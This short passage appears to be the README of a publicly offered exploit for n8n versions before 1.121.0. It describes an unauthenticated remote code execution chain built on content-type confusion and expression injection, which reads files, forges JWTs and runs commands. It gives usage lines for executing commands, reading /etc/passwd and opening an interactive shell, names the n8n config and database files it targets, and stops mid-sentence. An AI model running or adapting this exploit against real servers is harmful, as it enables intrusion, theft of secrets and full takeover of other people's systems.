
Exploit chain for unauthenticated remote code execution in n8n, combining content-type confusion and expression injection to read files, forge JWTs, and execute commands.
Unauthenticated RCE chain for n8n < 1.121.0 (CVSS 10.0)
/home/node/.n8n/config and database.sqlitechild_process# Execute command
python3 exploit.py http://target:5678 /form/test --cmd "id"
# Read file
python3 exploit.py http://target:5678 /form/test --read /etc/passwd
# Interactive shell
python3 exploit.py http://target:5678 /form/test
Target must have an active workflow with: